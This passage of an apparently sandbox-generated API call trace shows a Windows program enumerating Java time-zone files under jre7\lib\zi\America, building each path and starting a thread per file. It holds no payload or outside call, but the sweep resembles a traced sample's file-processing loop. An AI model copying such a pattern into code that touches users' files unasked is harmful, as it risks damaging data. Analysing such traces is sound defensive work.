lpParameter=0x8d0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x78c [0195.131] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rankin_Inlet", cAlternateFileName="RANKIN~1")) returned 1 [0195.131] wcscmp (_String1="Rankin_Inlet", _String2=".") returned 1 [0195.131] wcscmp (_String1="Rankin_Inlet", _String2="..") returned 1 [0195.131] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x9b3fb0 [0195.131] wcscpy (in: _Dest=0x9b3fb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.131] wcscat (in: _Dest=0x9b3fb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.131] wcscat (in: _Dest=0x9b3fb0, _Source="Rankin_Inlet" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rankin_Inlet") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rankin_Inlet" [0195.131] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b3fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788 [0195.132] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x179, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recife", cAlternateFileName="")) returned 1 [0195.132] wcscmp (_String1="Recife", _String2=".") returned 1 [0195.132] wcscmp (_String1="Recife", _String2="..") returned 1 [0195.132] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8fb280 [0195.132] wcscpy (in: _Dest=0x8fb280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.132] wcscat (in: _Dest=0x8fb280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.132] wcscat (in: _Dest=0x8fb280, _Source="Recife" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Recife") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Recife" [0195.132] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x784 [0195.133] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Regina", cAlternateFileName="")) returned 1 [0195.133] wcscmp (_String1="Regina", _String2=".") returned 1 [0195.133] wcscmp (_String1="Regina", _String2="..") returned 1 [0195.133] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8fb190 [0195.133] wcscpy (in: _Dest=0x8fb190, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.134] wcscat (in: _Dest=0x8fb190, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.134] wcscat (in: _Dest=0x8fb190, _Source="Regina" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Regina") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Regina" [0195.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x780 [0195.331] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resolute", cAlternateFileName="")) returned 1 [0195.331] wcscmp (_String1="Resolute", _String2=".") returned 1 [0195.331] wcscmp (_String1="Resolute", _String2="..") returned 1 [0195.331] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfc80 [0195.331] wcscpy (in: _Dest=0x8cfc80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.331] wcscat (in: _Dest=0x8cfc80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.331] wcscat (in: _Dest=0x8cfc80, _Source="Resolute" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Resolute") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Resolute" [0195.675] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfc80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1918 [0195.676] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rio_Branco", cAlternateFileName="RIO_BR~1")) returned 1 [0195.676] wcscmp (_String1="Rio_Branco", _String2=".") returned 1 [0195.676] wcscmp (_String1="Rio_Branco", _String2="..") returned 1 [0195.676] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x8d0780 [0195.676] wcscpy (in: _Dest=0x8d0780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.676] wcscat (in: _Dest=0x8d0780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.676] wcscat (in: _Dest=0x8d0780, _Source="Rio_Branco" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rio_Branco") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Rio_Branco" [0195.676] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c0 [0195.677] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santarem", cAlternateFileName="")) returned 1 [0195.678] wcscmp (_String1="Santarem", _String2=".") returned 1 [0195.678] wcscmp (_String1="Santarem", _String2="..") returned 1 [0195.678] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0d80 [0195.678] wcscpy (in: _Dest=0x8d0d80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.678] wcscat (in: _Dest=0x8d0d80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.678] wcscat (in: _Dest=0x8d0d80, _Source="Santarem" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santarem") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santarem" [0195.678] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0d80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a30 [0195.683] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santa_Isabel", cAlternateFileName="SANTA_~1")) returned 1 [0195.683] wcscmp (_String1="Santa_Isabel", _String2=".") returned 1 [0195.683] wcscmp (_String1="Santa_Isabel", _String2="..") returned 1 [0195.683] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x9b3fb0 [0195.683] wcscpy (in: _Dest=0x9b3fb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.684] wcscat (in: _Dest=0x9b3fb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.684] wcscat (in: _Dest=0x9b3fb0, _Source="Santa_Isabel" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santa_Isabel") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santa_Isabel" [0195.684] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b3fb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x798 [0195.685] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santiago", cAlternateFileName="")) returned 1 [0195.685] wcscmp (_String1="Santiago", _String2=".") returned 1 [0195.686] wcscmp (_String1="Santiago", _String2="..") returned 1 [0195.686] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cff80 [0195.686] wcscpy (in: _Dest=0x8cff80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.686] wcscat (in: _Dest=0x8cff80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.686] wcscat (in: _Dest=0x8cff80, _Source="Santiago" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santiago") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santiago" [0195.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cff80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4c [0195.687] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Santo_Domingo", cAlternateFileName="SANTO_~1")) returned 1 [0195.687] wcscmp (_String1="Santo_Domingo", _String2=".") returned 1 [0195.687] wcscmp (_String1="Santo_Domingo", _String2="..") returned 1 [0195.687] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x9b3d08 [0195.687] wcscpy (in: _Dest=0x9b3d08, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.687] wcscat (in: _Dest=0x9b3d08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.687] wcscat (in: _Dest=0x9b3d08, _Source="Santo_Domingo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santo_Domingo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Santo_Domingo" [0195.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b3d08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7d8 [0195.688] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sao_Paulo", cAlternateFileName="SAO_PA~1")) returned 1 [0195.688] wcscmp (_String1="Sao_Paulo", _String2=".") returned 1 [0195.688] wcscmp (_String1="Sao_Paulo", _String2="..") returned 1 [0195.688] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0980 [0195.688] wcscpy (in: _Dest=0x8d0980, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.688] wcscat (in: _Dest=0x8d0980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.688] wcscat (in: _Dest=0x8d0980, _Source="Sao_Paulo" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Sao_Paulo") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Sao_Paulo" [0195.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a50 [0195.689] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scoresbysund", cAlternateFileName="SCORES~1")) returned 1 [0195.689] wcscmp (_String1="Scoresbysund", _String2=".") returned 1 [0195.689] wcscmp (_String1="Scoresbysund", _String2="..") returned 1 [0195.689] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7a) returned 0x9b4e90 [0195.689] wcscpy (in: _Dest=0x9b4e90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.689] wcscat (in: _Dest=0x9b4e90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.689] wcscat (in: _Dest=0x9b4e90, _Source="Scoresbysund" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Scoresbysund") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Scoresbysund" [0195.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x9b4e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1670 [0195.690] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sitka", cAlternateFileName="")) returned 1 [0195.690] wcscmp (_String1="Sitka", _String2=".") returned 1 [0195.691] wcscmp (_String1="Sitka", _String2="..") returned 1 [0195.691] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8fb280 [0195.691] wcscpy (in: _Dest=0x8fb280, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.691] wcscat (in: _Dest=0x8fb280, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.691] wcscat (in: _Dest=0x8fb280, _Source="Sitka" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Sitka") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Sitka" [0195.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8fb280, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf4c [0195.692] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x7d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Johns", cAlternateFileName="")) returned 1 [0195.692] wcscmp (_String1="St_Johns", _String2=".") returned 1 [0195.692] wcscmp (_String1="St_Johns", _String2="..") returned 1 [0195.692] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8cfe80 [0195.692] wcscpy (in: _Dest=0x8cfe80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.692] wcscat (in: _Dest=0x8cfe80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.692] wcscat (in: _Dest=0x8cfe80, _Source="St_Johns" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Johns") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Johns" [0195.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8cfe80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd04 [0195.693] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Kitts", cAlternateFileName="")) returned 1 [0195.693] wcscmp (_String1="St_Kitts", _String2=".") returned 1 [0195.693] wcscmp (_String1="St_Kitts", _String2="..") returned 1 [0195.693] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d1000 [0195.693] wcscpy (in: _Dest=0x8d1000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.693] wcscat (in: _Dest=0x8d1000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.693] wcscat (in: _Dest=0x8d1000, _Source="St_Kitts" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Kitts") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Kitts" [0195.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d1000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x710 [0195.694] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Lucia", cAlternateFileName="")) returned 1 [0195.695] wcscmp (_String1="St_Lucia", _String2=".") returned 1 [0195.695] wcscmp (_String1="St_Lucia", _String2="..") returned 1 [0195.695] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0b80 [0195.695] wcscpy (in: _Dest=0x8d0b80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.695] wcscat (in: _Dest=0x8d0b80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.695] wcscat (in: _Dest=0x8d0b80, _Source="St_Lucia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Lucia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Lucia" [0195.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0b80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0195.699] FindNextFileW (in: hFindFile=0x8da510, lpFindFileData=0x92d0a8 | out: lpFindFileData=0x92d0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x41, dwReserved0=0x0, dwReserved1=0x0, cFileName="St_Thomas", cAlternateFileName="ST_THO~1")) returned 1 [0195.699] wcscmp (_String1="St_Thomas", _String2=".") returned 1 [0195.699] wcscmp (_String1="St_Thomas", _String2="..") returned 1 [0195.699] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x74) returned 0x8d0a00 [0195.699] wcscpy (in: _Dest=0x8d0a00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0195.699] wcscat (in: _Dest=0x8d0a00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0195.699] wcscat (in: _Dest=0x8d0a00, _Source="St_Thomas" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\St_Thomas" [0195.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4 [0195.700] 